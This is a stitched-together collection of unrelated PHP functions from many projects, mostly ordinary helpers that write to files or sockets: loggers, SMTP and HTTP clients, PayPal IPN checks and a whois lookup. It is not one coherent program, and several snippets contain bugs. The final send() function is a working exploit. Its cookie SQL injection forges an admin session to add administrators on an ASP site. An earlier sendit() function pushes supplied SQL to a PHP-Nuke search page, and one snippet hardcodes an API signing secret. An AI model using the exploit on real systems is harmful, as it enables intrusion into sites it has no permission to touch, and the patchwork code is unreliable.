public function setUp() { $base = 'lithium\\net\\socket'; $namespace = __NAMESPACE__; Mocker::overwriteFunction("{$namespace}\\stream_context_get_options", function ($resource) { rewind($resource); return unserialize(stream_get_contents($resource)); }); Mocker::overwriteFunction("{$base}\\stream_context_create", function ($options) { return $options; }); Mocker::overwriteFunction("{$base}\\fopen", function ($file, $mode, $includePath, $context) { $handle = fopen("php://memory", "rw"); fputs($handle, serialize($context)); return $handle; }); Mocker::overwriteFunction("{$base}\\stream_get_meta_data", function ($resource) { return array('wrapper_data' => array('HTTP/1.1 301 Moved Permanently', 'Location: http://www.google.com/', 'Content-Type: text/html; charset=UTF-8', 'Date: Thu, 28 Feb 2013 07:05:10 GMT', 'Expires: Sat, 30 Mar 2013 07:05:10 GMT', 'Cache-Control: public, max-age=2592000', 'Server: gws', 'Content-Length: 219', 'X-XSS-Protection: 1; mode=block', 'X-Frame-Options: SAMEORIGIN', 'Connection: close')); }); Mocker::overwriteFunction("{$base}\\stream_get_contents", function ($resource) { return <<<EOD <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>301 Moved</TITLE></HEAD><BODY> <H1>301 Moved</H1> The document has moved <A HREF="http://www.google.com/">here</A>. </BODY></HTML> EOD; }); Mocker::overwriteFunction("{$base}\\feof", function ($resource) { return true; }); }
function slog($logs) { $toppath = $_SERVER["DOCUMENT_ROOT"] . "/log.htm"; $Ts = fopen($toppath, "a+"); fputs($Ts, $logs . "\r\n"); fclose($Ts); }
/** * 返回通知结果 * * @author Garbin * @param array $order_info * @param bool $strict * @return array */ function verify_notify($order_info, $strict = false) { if (empty($order_info)) { $this->_error('order_info_empty'); return false; } $merchant_id = $this->_config['paypal_account']; $req = 'cmd=_notify-validate'; foreach ($_POST as $key => $value) { $value = urlencode(stripslashes($value)); $req .= "&{$key}={$value}"; } $header = "POST /cgi-bin/webscr HTTP/1.0\r\n"; $header .= "Content-Type: application/x-www-form-urlencoded\r\n"; $header .= "Content-Length: " . strlen($req) . "\r\n\r\n"; $fp = fsockopen('www.sandbox.paypal.com', 80, $errno, $errstr, 30); $item_name = $_POST['item_name']; $item_number = $_POST['item_number']; $payment_status = $_POST['payment_status']; $payment_amount = $_POST['mc_gross']; $payment_currency = $_POST['mc_currency']; $txn_id = $_POST['txn_id']; $receiver_email = $_POST['receiver_email']; $payer_email = $_POST['payer_email']; $order_sn = $_POST['invoice']; $memo = empty($_POST['memo']) ? '' : $_POST['memo']; if (!$fp) { fclose($fp); return false; } else { fputs($fp, $header . $req); while (!feof($fp)) { $res = fgets($fp, 1024); if (strcmp($res, 'VERIFIED') == 0) { if ($payment_status != 'Completed' && $payment_status != 'Pending') { fclose($fp); return false; } if ($receiver_email != $merchant_id) { fclose($fp); return false; } if ($order_info['order_amount'] != $payment_amount) { fclose($fp); $this->_error('money_inequalit'); return false; } if ($this->_config['paypal_currency'] != $payment_currency) { fclose($fp); return false; } fclose($fp); return array('target' => ORDER_ACCEPTED); } elseif (strcmp($res, 'INVALID') == 0) { fclose($fp); return false; } } } }
function SendMail() { if ($SMTPIN = fsockopen($this->SmtpServer, $this->PortSMTP)) { fputs($SMTPIN, "EHLO " . $HTTP_HOST . "\r\n"); $talk["hello"] = fgets($SMTPIN, 1024); fputs($SMTPIN, "auth login\r\n"); $talk["res"] = fgets($SMTPIN, 1024); fputs($SMTPIN, $this->SmtpUser . "\r\n"); $talk["user"] = fgets($SMTPIN, 1024); fputs($SMTPIN, $this->SmtpPass . "\r\n"); $talk["pass"] = fgets($SMTPIN, 256); fputs($SMTPIN, "MAIL FROM: <" . $this->from . ">\r\n"); $talk["From"] = fgets($SMTPIN, 1024); fputs($SMTPIN, "RCPT TO: <" . $this->to . ">\r\n"); $talk["To"] = fgets($SMTPIN, 1024); fputs($SMTPIN, "DATA\r\n"); $talk["data"] = fgets($SMTPIN, 1024); fputs($SMTPIN, "To: <" . $this->to . ">\r\nFrom: <" . $this->from . ">\r\nSubject:" . $this->subject . "\r\n\r\n\r\n" . $this->body . "\r\n.\r\n"); $talk["send"] = fgets($SMTPIN, 256); //CLOSE CONNECTION AND EXIT ... fputs($SMTPIN, "QUIT\r\n"); fclose($SMTPIN); // } return $talk; }
function openstats() { $fp = fsockopen($this->host, $this->port, $errno, $errstr, 10); if (!$fp) { $this->_error = "{$errstr} ({$errno})"; return 0; } else { fputs($fp, "GET /admin.cgi?pass="******"&mode=viewxml HTTP/1.0\r\n"); fputs($fp, "User-Agent: Mozilla\r\n\r\n"); while (!feof($fp)) { $this->_xml .= fgets($fp, 512); } fclose($fp); if (stristr($this->_xml, "HTTP/1.0 200 OK") == true) { // <-H> Thanks to Blaster for this fix.. trim(); $this->_xml = trim(substr($this->_xml, 42)); } else { $this->_error = "Bad login"; return 0; } $xmlparser = xml_parser_create(); if (!xml_parse_into_struct($xmlparser, $this->_xml, $this->_values, $this->_indexes)) { $this->_error = "Unparsable XML"; return 0; } xml_parser_free($xmlparser); return 1; } }
function wl($the_string) { $fi = fopen('logfile2.txt', 'a+'); $the_string = $the_string . "\n"; fputs($fi, $the_string, strlen($the_string)); fclose($fi); }
public function send_mail() { $talk = array(); if ($SMTPIN = fsockopen($this->SmtpServer, $this->PortSMTP)) { fputs($SMTPIN, "EHLO " . $HTTP_HOST . "\r\n"); $talk["hello"] = fgets($SMTPIN, 1024); fputs($SMTPIN, "auth login\r\n"); $talk["res"] = fgets($SMTPIN, 1024); fputs($SMTPIN, $this->SmtpUser . "\r\n"); $talk["user"] = fgets($SMTPIN, 1024); fputs($SMTPIN, $this->SmtpPass . "\r\n"); $talk["pass"] = fgets($SMTPIN, 256); fputs($SMTPIN, "MAIL FROM: <" . $this->from . ">\r\n"); $talk["From"] = fgets($SMTPIN, 1024); fputs($SMTPIN, "RCPT TO: <" . $this->to . ">\r\n"); $talk["To"] = fgets($SMTPIN, 1024); fputs($SMTPIN, "DATA\r\n"); $talk["data"] = fgets($SMTPIN, 1024); //Construct Headers $headers = "MIME-Version: 1.0" . $this->newLine; $headers .= "Content-type: text/html; charset=iso-8859-1" . $this->newLine; $headers .= "From: <" . $this->from . ">" . $this->newLine; $headers .= "To: <" . $this->to . ">" . $this->newLine; $headers .= "Bcc: {$this->newLine}"; $headers .= "Subject: " . $this->subject . $this->newLine; fputs($SMTPIN, $headers . "\r\n\r\n" . $this->body . "\r\n.\r\n"); $talk["send"] = fgets($SMTPIN, 256); //CLOSE CONNECTION AND EXIT ... fputs($SMTPIN, "QUIT\r\n"); fclose($SMTPIN); } return $talk; }
function _version_check() { // Not generally a fan of one time use variables, but in this // case I think it helps to keep it at the top of the controller $page_url = 'http://bambooinvoice.org/biversion.txt'; $target = parse_url($page_url); $fp = @fsockopen($target['host'], 80, $errno, $errstr, 5); if (is_resource($fp)) { fputs($fp, "GET " . $page_url . " HTTP/1.0\r\n"); fputs($fp, "Host: " . $target['host'] . "\r\n"); fputs($fp, "User-Agent: BambooInvoice/\r\n"); fputs($fp, "If-Modified-Since: Fri, 01 Jan 2004 12:24:04\r\n\r\n"); $ver = ''; while (!feof($fp)) { $ver = trim(fgets($fp, 128)); } // Let's typecast these so there's no funny business going on $version_available = (int) str_replace('.', '', $ver); $version_in_use = (int) str_replace('.', '', $this->settings_model->get_setting('bambooinvoice_version')); fclose($fp); if ($ver != '') { if ($version_available > $version_in_use) { return 'new'; } else { return 'current'; } } else { return 'undetermined'; } } else { return 'connection_failed'; } }
function search($dominio) { $dominio = strtolower(trim($dominio)); $pos_punto = strrpos($dominio, "."); if (!$pos_punto) { return "nome di dominio non valido"; } else { $estensione = substr($dominio, $pos_punto + 1); if (!array_key_exists($estensione, $this->mappa_estensione_server)) { return "estensione <b><i>." . $estensione . "</i></b> non supportata"; } } $server = $this->mappa_estensione_server[$estensione]; $puntatore_whois = fsockopen($server, 43, $errno, $errstr, 30); $html_output = ''; if (!$puntatore_whois) { $html_output = "{$errstr} ({$errno})"; } else { fputs($puntatore_whois, "{$dominio}\r\n"); $html_output .= "<pre>\r\n"; while (!feof($puntatore_whois)) { $html_output .= fread($puntatore_whois, 128); } $html_output .= "</pre>"; fclose($puntatore_whois); } return $html_output; }
function slog($logs) { $toppath = $_SERVER["DOCUMENT_ROOT"] . "/runtime/log/logs_error.log"; $Ts = fopen($toppath, "a+"); fputs($Ts, $logs . "\r\n"); fclose($Ts); }
function reply_to_paypal() { $request_data = $this->post_data; $request_data['cmd'] = '_notify-validate'; $request = http_build_query($request_data); $header = "POST /cgi-bin/webscr HTTP/1.0\r\n"; $header .= $this->host_header; $header .= "Content-Type: application/x-www-form-urlencoded\r\n"; $header .= "Content-Length: " . strlen($request) . "\r\n\r\n"; $response = ''; $fp = fsockopen($this->chat_back_url, 443, $errno, $errstr, 30); if ($fp) { fputs($fp, $header . $request); $done = false; do { if (feof($fp)) { $done = true; } else { $response = fgets($fp, 1024); $done = in_array($response, array("VERIFIED", "INVALID")); } } while (!$done); } else { dgx_donate_debug_log("IPN failed: unable to establish network chatback connection to PayPal"); dgx_donate_debug_log("==> url = {$this->chat_back_url}, errno = {$errno}, errstr = {$errstr}"); } fclose($fp); return $response; }
function save_users() { $cnt = count($GLOBALS["users"]); if ($cnt > 0) { sort($GLOBALS["users"]); } // Make PHP-File $content = '<?php /** ensure this file is being included by a parent file */ defined( "_VALID_MOS" ) or die( "Direct Access to this location is not allowed." ); $GLOBALS["users"]=array('; for ($i = 0; $i < $cnt; ++$i) { // if($GLOBALS["users"][6]&4==4) $GLOBALS["users"][6]=7; // If admin, all permissions $content .= "\r\n\tarray(\"" . $GLOBALS["users"][$i][0] . '","' . $GLOBALS["users"][$i][1] . '","' . $GLOBALS["users"][$i][2] . '","' . $GLOBALS["users"][$i][3] . '",' . $GLOBALS["users"][$i][4] . ',"' . $GLOBALS["users"][$i][5] . '",' . $GLOBALS["users"][$i][6] . ',' . $GLOBALS["users"][$i][7] . '),'; } $content .= "\r\n); ?>"; // Write to File $fp = @fopen(_QUIXPLORER_PATH . "/config/.htusers.php", "w"); if ($fp === false) { return false; } // Error fputs($fp, $content); fclose($fp); return true; }
function exportrun() { $offset = (int) db_escape_string($_REQUEST['offset']); $exported = 0; $limit = 250; if ($offset < 10000 && is_writable(CACHE_DIR . "/export")) { $result = db_query($this->link, "SELECT\n\t\t\t\t\tttrss_entries.guid,\n\t\t\t\t\tttrss_entries.title,\n\t\t\t\t\tcontent,\n\t\t\t\t\tmarked,\n\t\t\t\t\tpublished,\n\t\t\t\t\tscore,\n\t\t\t\t\tnote,\n\t\t\t\t\tlink,\n\t\t\t\t\ttag_cache,\n\t\t\t\t\tlabel_cache,\n\t\t\t\t\tttrss_feeds.title AS feed_title,\n\t\t\t\t\tttrss_feeds.feed_url AS feed_url,\n\t\t\t\t\tttrss_entries.updated\n\t\t\t\tFROM\n\t\t\t\t\tttrss_user_entries LEFT JOIN ttrss_feeds ON (ttrss_feeds.id = feed_id),\n\t\t\t\t\tttrss_entries\n\t\t\t\tWHERE\n\t\t\t\t\t(marked = true OR feed_id IS NULL) AND\n\t\t\t\t\tref_id = ttrss_entries.id AND\n\t\t\t\t\tttrss_user_entries.owner_uid = " . $_SESSION['uid'] . "\n\t\t\t\tORDER BY ttrss_entries.id LIMIT {$limit} OFFSET {$offset}"); $exportname = sha1($_SESSION['uid'] . $_SESSION['login']); if ($offset == 0) { $fp = fopen(CACHE_DIR . "/export/{$exportname}.xml", "w"); fputs($fp, "<articles schema-version=\"" . SCHEMA_VERSION . "\">"); } else { $fp = fopen(CACHE_DIR . "/export/{$exportname}.xml", "a"); } if ($fp) { while ($line = db_fetch_assoc($result)) { fputs($fp, "<article>"); foreach ($line as $k => $v) { fputs($fp, "<{$k}><![CDATA[{$v}]]></{$k}>"); } fputs($fp, "</article>"); } $exported = db_num_rows($result); if ($exported < $limit && $exported > 0) { fputs($fp, "</articles>"); } fclose($fp); } } print json_encode(array("exported" => $exported)); }
public function logindata() { if (!$this->input->post('token')) { $this->load->helper('url'); redirect("map"); } $link = "http://loginza.ru/api/authinfo?token=" . $this->input->post('token') . "&id=75203&sig=" . md5($this->input->post('token') . '1834adfb2b5f49092e0121ca841ec113'); $file = "shadow"; $data = json_decode(file_get_contents($link)); if (isset($data->identity)) { $found = 0; if (!$this->session->userdata('uid1')) { $found += $this->setNewSession($data); } if ($this->session->userdata('uid1')) { $found += $this->setExistingUser($data); } if (!$found) { $string = array($this->session->userdata('uid1'), $this->session->userdata('supx'), $this->session->userdata('name'), $this->session->userdata('uidx')); $open = fopen($file, "a"); fputs($open, implode($string, ",") . "\n"); fclose($open); } $this->load->helper('url'); redirect("map"); return true; } print 'Логин не удался. Вернитесь по ссылке и попробуйте ещё раз<br><br><a href="' . base_url() . '">Вернуться на ' . base_url() . '</a>'; }
function Merge($newtext,$oldtext,$pagetext) { global $WorkDir,$SysMergeCmd, $SysMergePassthru; SDV($SysMergeCmd,"/usr/bin/diff3 -L '' -L '' -L '' -m -E"); if (substr($newtext,-1,1)!="\n") $newtext.="\n"; if (substr($oldtext,-1,1)!="\n") $oldtext.="\n"; if (substr($pagetext,-1,1)!="\n") $pagetext.="\n"; $tempnew = tempnam($WorkDir,"new"); $tempold = tempnam($WorkDir,"old"); $temppag = tempnam($WorkDir,"page"); if ($newfp=fopen($tempnew,'w')) { fputs($newfp,$newtext); fclose($newfp); } if ($oldfp=fopen($tempold,'w')) { fputs($oldfp,$oldtext); fclose($oldfp); } if ($pagfp=fopen($temppag,'w')) { fputs($pagfp,$pagetext); fclose($pagfp); } $mergetext = ''; if (IsEnabled($SysMergePassthru, 0)) { ob_start(); passthru("$SysMergeCmd $tempnew $tempold $temppag"); $mergetext = ob_get_clean(); } else { $merge_handle = popen("$SysMergeCmd $tempnew $tempold $temppag",'r'); if ($merge_handle) { while (!feof($merge_handle)) $mergetext .= fread($merge_handle,4096); pclose($merge_handle); } } @unlink($tempnew); @unlink($tempold); @unlink($temppag); return $mergetext; }
function get() { if (!empty($this->url)) { $fp = fsockopen($this->host, 80, $errno, $errstr, 30); if (!$fp) { $this->status = false; //$this->error['error_number'] = $errno; //$this->error['error_msg'] = $errstr; } else { // here, we use double quotes to replace single quotes, or 400 error. fputs($fp, 'GET ' . $this->path . " HTTP/1.1\r\n"); fputs($fp, 'User-Agent: ' . $this->user_agent . "\r\n"); fputs($fp, 'Host: ' . $this->host . "\r\n"); fputs($fp, "Connection: close\r\n\r\n"); while (!feof($fp)) { $line = fgets($fp); $this->content .= $line; } fclose($fp); if (preg_match('/sogourank=(\\d+)/', $this->content, $matches) > 0) { $this->response .= $matches[1]; } } } else { $this->status = false; } }
/** * @return void */ protected function _generateFileStructure() { $classes = $this->_extension->getClassNames(); foreach ($classes as $class) { $reflectionClass = new \ReflectionClass($class); $output = "<?php\n\n"; $output .= $this->_exportNamespace($reflectionClass); $output .= $this->_exportDefinition($reflectionClass); $output .= "\n{\n\n"; $output .= $this->_exportClassConstants($reflectionClass); $output .= $this->_exportClassProperties($reflectionClass); $output .= $this->_exportClassMethods($reflectionClass); $output .= "}"; $dir_class = str_replace('\\', DIRECTORY_SEPARATOR, $reflectionClass->getNamespaceName()); $dir = $this->_targetDir . DIRECTORY_SEPARATOR . $this->_extension->getVersion() . DIRECTORY_SEPARATOR . $dir_class; if (!is_dir($dir)) { mkdir($dir, 0777, true); } $file = str_replace('\\', DIRECTORY_SEPARATOR, $class) . '.php'; $path = $this->_targetDir . DIRECTORY_SEPARATOR . $this->_extension->getVersion() . DIRECTORY_SEPARATOR . $file; $fp = fopen($path, 'w+'); fputs($fp, $output); fclose($fp); } }
public function onRebuild(Am_Event $event) { $rows = $this->getDi()->db->select("SELECT u.login AS ARRAY_KEY, u.user_id, IFNULL(s.pass, ?) as pass\n FROM ?_user u LEFT JOIN ?_saved_pass s\n ON s.user_id=u.user_id AND s.format=?\n WHERE u.status = 1\n ", self::NO_PASSWORD, SavedPassTable::PASSWORD_CRYPT); $existing = array(); $f = fopen($this->htpasswd, 'r'); if ($f) { while ($s = fgets($f, 8192)) { @(list($l, $p) = explode(':', $s, 2)); $existing[trim($l)] = trim($p); } } // if (!flock($f, LOCK_EX)) { throw new Am_Exception_InternalError("Could not lock htpasswd file {$this->htpasswd} for updating"); } $fnName = $this->htpasswd . '.' . uniqid(); $fn = fopen($fnName, 'x'); if (!$fn) { throw new Am_Exception_InternalError("Could not open file {$fnName} for creation"); } foreach ($rows as $login => $r) { if ($r['pass'] == self::NO_PASSWORD && array_key_exists($login, $existing)) { $r['pass'] = $existing[$login]; } fwrite($fn, "{$login}:" . $r['pass'] . PHP_EOL); } flock($f, LOCK_UN); fclose($f); fclose($fn); if (!rename($fnName, $this->htpasswd)) { throw new Am_Exception_InternalError("Could not move {$fnName} to {$this->htpasswd}"); } /// rebuild .htaccess $groups = array(); $q = $this->getDi()->resourceAccessTable->getResourcesForMembers(ResourceAccess::FOLDER)->query(); $db = $this->getDi()->db; while ($r = $db->fetchRow($q)) { $groups[$r['resource_id']][] = $r['login']; } $f = fopen($this->htgroup, 'r'); if (!flock($f, LOCK_EX)) { throw new Am_Exception_InternalError("Could not lock htgroup file {$this->htgroup} for updating"); } $fnName = $this->htgroup . '.' . uniqid(); $fn = fopen($fnName, 'x'); if (!$fn) { throw new Am_Exception_InternalError("Could not open file {$fnName} for creation"); } foreach ($groups as $folder_id => $logins) { foreach (array_chunk($logins, 300) as $logins) { fputs($fn, "FOLDER_{$folder_id}: " . implode(" ", $logins) . PHP_EOL); } } flock($f, LOCK_UN); fclose($f); fclose($fn); if (!rename($fnName, $this->htgroup)) { throw new Am_Exception_InternalError("Could not move {$fnName} to {$this->htgroup}"); } }
function sendit($param) { $prefix = $_POST['prefix']; $data = $_POST['sql_text']; $host = $_POST['hostname']; $page = isset($_POST['dir']) ? '/' . $_POST['dir'] : ''; $page .= '/modules.php?name=Search'; $method = $_POST['method']; $ref_text = $_POST['ref_text']; $user_agent = $_POST['user_agent']; $result = ''; $sock = fsockopen($host, 80, $errno, $errstr, 50); if (!$sock) { die("{$errstr} ({$errno})\n"); } fputs($sock, "{$method} /{$page} HTTP/1.0\r\n"); fputs($sock, "Host: {$host}" . "\r\n"); fputs($sock, "Content-type: application/x-www-form-urlencoded\r\n"); fputs($sock, "Content-length: " . strlen($data) . "\r\n"); fputs($sock, "Referer: {$ref_text}" . "\r\n"); fputs($sock, "User-Agent: {$user_agent}" . "\r\n"); fputs($sock, "Accept: */*\r\n"); fputs($sock, "\r\n"); fputs($sock, "{$data}\r\n"); fputs($sock, "\r\n"); while (!feof($sock)) { $result .= fgets($sock, 8192); } fclose($sock); return $result; }
public function assembleBook() { // implode all the contents to create the whole book $book = $this->app->render('book.twig', array('items' => $this->app['publishing.items'])); $temp = tempnam(sys_get_temp_dir(), 'easybook_'); fputs(fopen($temp, 'w+'), $book); // use PrinceXML to transform the HTML book into a PDF book $prince = $this->app->get('prince'); $prince->setBaseURL($this->app['publishing.dir.contents'] . '/images'); // Prepare and add stylesheets before PDF conversion if ($this->app->edition('include_styles')) { $defaultStyles = tempnam(sys_get_temp_dir(), 'easybook_style_'); $this->app->renderThemeTemplate('style.css.twig', array('resources_dir' => $this->app['app.dir.resources'] . '/'), $defaultStyles); $prince->addStyleSheet($defaultStyles); } // TODO: custom book styles could also be defined with Twig $customCss = $this->app->getCustomTemplate('style.css'); if (file_exists($customCss)) { $prince->addStyleSheet($customCss); } // TODO: the name of the book file (book.pdf) must be configurable $errorMessages = array(); $prince->convert_file_to_file($temp, $this->app['publishing.dir.output'] . '/book.pdf', $errorMessages); // show PDF conversion errors if (count($errorMessages) > 0) { foreach ($errorMessages as $message) { echo $message[0] . ': ' . $message[2] . ' (' . $message[1] . ')' . "\n"; } } }
function logfile($string) { global $config; $fd = fopen($config['log_file'], 'a'); fputs($fd, $string . "\n"); fclose($fd); }
function PostRequest($url, $referer, $_data, $addheader = null) { $data = null; while (list($n, $v) = each($_data)) { $data .= '&' . $n . '=' . rawurlencode($v); } $data = substr($data, 1); $url = parse_url($url); if ($url['scheme'] != 'http') { die("Only HTTP-Request are supported"); } $host = $url['host']; $path = $url['path']; $fp = fsockopen($host, 80); fputs($fp, "POST {$path} HTTP/1.1\r\n"); fputs($fp, "Host: {$host}\r\n"); fputs($fp, "Referer: {$referer}\r\n"); fputs($fp, "User-Agent: BotTool (http://testhh.pytalhost.com)\r\n"); fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n"); fputs($fp, "Content-length: " . strlen($data) . "\r\n"); if ($addheader != '') { fputs($fp, $addheader); } fputs($fp, "Connection: close\r\n\r\n"); fputs($fp, $data); $result = null; while (!feof($fp)) { $result .= fgets($fp, 128); } fclose($fp); $result = explode("\r\n\r\n", $result, 2); $header = isset($result[0]) ? $result[0] : ''; $content = isset($result[1]) ? $result[1] : ''; return array($header, $content); }
/** * Sets data * * @param string $key * @param string $var * @param int $expire * @return boolean */ function set($key, $var, $expire = 0) { $key = $this->get_item_key($key); $sub_path = $this->_get_path($key); $path = $this->_cache_dir . '/' . $sub_path; $sub_dir = dirname($sub_path); $dir = dirname($path); if (!@is_dir($dir)) { if (!w3_mkdir_from($dir, W3TC_CACHE_DIR)) { return false; } } $fp = @fopen($path, 'w'); if (!$fp) { return false; } if ($this->_locking) { @flock($fp, LOCK_EX); } @fputs($fp, $var['content']); @fclose($fp); if ($this->_locking) { @flock($fp, LOCK_UN); } // some hostings create files with restrictive permissions // not allowing apache to read it later @chmod($path, 0644); $old_entry_path = $path . '.old'; @unlink($old_entry_path); if (w3_is_apache() && isset($var['headers']) && isset($var['headers']['Content-Type']) && substr($var['headers']['Content-Type'], 0, 8) == 'text/xml') { file_put_contents(dirname($path) . '/.htaccess', "<IfModule mod_mime.c>\n" . " RemoveType .html_gzip\n" . " AddType text/xml .html_gzip\n" . " RemoveType .html\n" . " AddType text/xml .html\n" . "</IfModule>"); } return true; }
function suche($wort, $kat) { if ($kat == '') { $kat = 0; } $f = fopen("/tmp/x", "w"); fputs($f, $wort . " " . $kat . "\n"); $treffer = suchWDB($wort, $kat); fputs($f, print_r($treffer, true) . "\n"); $notfound = ""; $rc = array('msg' => '', 'cnt' => 0, 'data' => ''); if (count($treffer) == 0) { $rc['msg'] = $wort . ' not found'; echo json_encode($rc); } else { if (count($treffer) == 1) { $data = getWContent($treffer[0]['id']); mkcontent($data); fclose($f); } else { $rc['cnt'] = count($treffer); $rc['data'] = $treffer; echo json_encode($rc); } } }
private function _xpassServer($url, $time_out = "60") { $urlarr = parse_url($url); $errno = ""; $errstr = ""; $transports = ""; if ($urlarr["scheme"] == "https") { $transports = "ssl://"; $urlarr["port"] = "443"; } else { $transports = "tcp://"; $urlarr["port"] = "80"; } $fp = @fsockopen($transports . $urlarr['host'], $urlarr['port'], $errno, $errstr, $time_out); if (!$fp) { die("ERROR: {$errno} - {$errstr}<br />\n"); } else { fputs($fp, "GET " . $urlarr["path"] . '?' . $urlarr["query"] . " HTTP/1.1\r\n"); fputs($fp, "Host: " . $urlarr["host"] . "\r\n"); //fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n"); //fputs($fp, "Content-length: ".strlen($urlarr["query"])."\r\n"); fputs($fp, "Connection: close\r\n\r\n"); //fputs($fp, $urlarr["query"] . "\r\n\r\n"); while (!feof($fp)) { $info .= @fgets($fp, 1024); } fclose($fp); return $info; } }
protected function getInputStream($input) { $stream = fopen('php://memory', 'r+', false); fputs($stream, $input); rewind($stream); return $stream; }
function http_send($_url, $_body) { $errno = 0; $errstr = ''; $timeout = 10; $fp = fsockopen(_IP_, _PORT_, $errno, $errstr, $timeout); if (!$fp) { return FALSE; } $_head = "POST /" . $_url . " HTTP/1.1\r\n"; $_head .= "Host: " . _IP_ . ":" . _PORT_ . "\r\n"; $_head .= "Content-Type: Text/plain\r\n"; if (!$_body) { $body_len = 0; } else { $body_len = strlen($_body); } $send_pkg = $_head . "Content-Length:" . $body_len . "\r\n\r\n" . $_body; ilog(iLOG_INFO, " -----> http_send url: " . $_url); ilog(iLOG_INFO, " -----> http_send body: " . $_body); if (fputs($fp, $send_pkg) === FALSE) { return FALSE; } //设置3s超时 stream_set_timeout($fp, 3); while (!feof($fp)) { ilog(iLOG_INFO, " -----> rsp: " . fgets($fp, 128)); } if ($fp) { fclose($fp); } return TRUE; }
/** * url 为服务的url地址 * query 为请求串 */ private function sock_post($url, $query) { $data = ""; $info = parse_url($url); $fp = fsockopen($info["host"], 80, $errno, $errstr, 30); if (!$fp) { return $data; } $head = "POST " . $info['path'] . " HTTP/1.0\r\n"; $head .= "Host: " . $info['host'] . "\r\n"; $head .= "Referer: http://" . $info['host'] . $info['path'] . "\r\n"; $head .= "Content-type: application/x-www-form-urlencoded\r\n"; $head .= "Content-Length: " . strlen(trim($query)) . "\r\n"; $head .= "\r\n"; $head .= trim($query); $write = fputs($fp, $head); $header = ""; while ($str = trim(fgets($fp, 4096))) { $header .= $str; } while (!feof($fp)) { $data .= fgets($fp, 4096); } return $data; }
function send_request_via_fsockopen1($host, $path, $content) { $posturl = "ssl://" . $host; $header = "Host: {$host}\r\n"; $header .= "User-Agent: PHP Script\r\n"; $header .= "Content-Type: text/xml\r\n"; $header .= "Content-Length: " . strlen($content) . "\r\n"; $header .= "Connection: close\r\n\r\n"; $fp = fsockopen($posturl, 443, $errno, $errstr, 30); if (!$fp) { $response = false; } else { error_reporting(E_ERROR); fputs($fp, "POST {$path} HTTP/1.1\r\n"); fputs($fp, $header . $content); fwrite($fp, $out); $response = ""; while (!feof($fp)) { $response = $response . fgets($fp, 128); } fclose($fp); error_reporting(E_ALL ^ E_NOTICE); } return $response; }
function send($cmd) { global $host, $path; $message = "POST " . $path . "admin/admin_manager.asp?action=add HTTP/1.1\r\n"; $message .= "Accept: */*\r\n"; $message .= "Referer: http://{$host}{$path}\r\n"; $message .= "Accept-Language: zh-cn\r\n"; $message .= "Content-Type: application/x-www-form-urlencoded\r\n"; $message .= "User-Agent: securitylab\r\n"; $message .= "X-Forwarded-For:1.1.1.1\r\n"; $message .= "Host: {$host}\r\n"; $message .= "Content-Length: " . strlen($cmd) . "\r\n"; $message .= "Cookie: m_username=securitylab'%20union%20select%20663179683474,0%20from%20m_manager%20where%20m_username%3d'admin; m_level=0; checksecuritylab'%20union%20select%20663179683474,0%20from%20m_manager%20where%20m_username%3d'admin=cf144fd7a325d1088456838f524ae9d7\r\n"; $message .= "Connection: Close\r\n\r\n"; $message .= $cmd; echo $message; $fp = fsockopen($host, 80); fputs($fp, $message); $resp = ''; while ($fp && !feof($fp)) { $resp .= fread($fp, 1024); } echo $resp; return $resp; }